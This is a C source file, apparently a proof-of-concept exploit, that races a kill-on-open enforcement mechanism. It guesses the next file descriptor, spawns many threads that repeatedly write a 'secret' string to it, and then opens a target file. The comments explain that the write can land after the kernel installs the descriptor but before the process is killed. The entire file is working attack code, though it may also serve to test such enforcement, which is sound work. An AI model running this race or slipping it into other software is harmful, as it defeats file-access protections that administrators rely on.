race-openwrite.c (71 lines of code) (raw):

#include <bsd/stdlib.h> #include <err.h> #include <errno.h> #include <fcntl.h> #include <getopt.h> #include <pthread.h> #include <stdio.h> #include <string.h> #include <unistd.h> #define SECRET "secret\n" void usage(void) { errx(1, "usage: %s [-w num_workers] filepath", getprogname()); } void * writer(void *vpfd) { ssize_t n; int fd = *(int *)vpfd; /* * We'll just hammer write the guessed file descriptor, if we succeed we * just bail as the parent thread is about to all alone die anyway. */ while (1) { n = write(fd, SECRET, strlen(SECRET)); /* We expect to get EBADFD mostly */ if (n <= 0) { continue; } /* The dude abides */ break; } return (NULL); } #define msleep(x) usleep((x) * 1000) int main(int argc, char *argv[]) { int fd, ch, num_workers; pthread_t t_writer; struct stat st; const char *path; num_workers = 12; while ((ch = getopt(argc, argv, "w:")) != -1) { const char *errstr; switch (ch) { case 'w': num_workers = strtonum(optarg, 1, 512, &errstr); if (errstr) errx(1, "number of workers must be 1-512"); break; default: usage(); } } argc -= optind; argv += optind; if (!argc) usage(); /* * Prevent me from shooting myself in the foot */ path = argv[0]; if (stat(path, &st) == 0 && st.st_size != 0) { printf("secret is not empty(%zd bytes), maybe we cracked it before?\n", st.st_size); exit(0); } /* * Guess the next file descriptor open will get */ if ((fd = dup(0)) == -1) err(1, "dup"); close(fd); /* * Hammer Time, spawn a bunch of threads to write at the guessed fd, * they hammer even before we open. */ while (num_workers--) if (pthread_create(&t_writer, NULL, writer, &fd) == -1) err(1, "pthread_create"); /* Give the workers some lead time */ msleep(10); /* * This should never return, since we are supposed to be SIGKILLed. * The race depends on the workers hitting the filedescriptor after * open(2) succeeded (after fd_install()) but before * exit_to_user_mode()->do_group_exit(). */ fd = open(path, O_RDWR|O_CREAT, 0660); errx(1, "not killed, open returned fd %d", fd); return (0); /* NOTREACHED */ }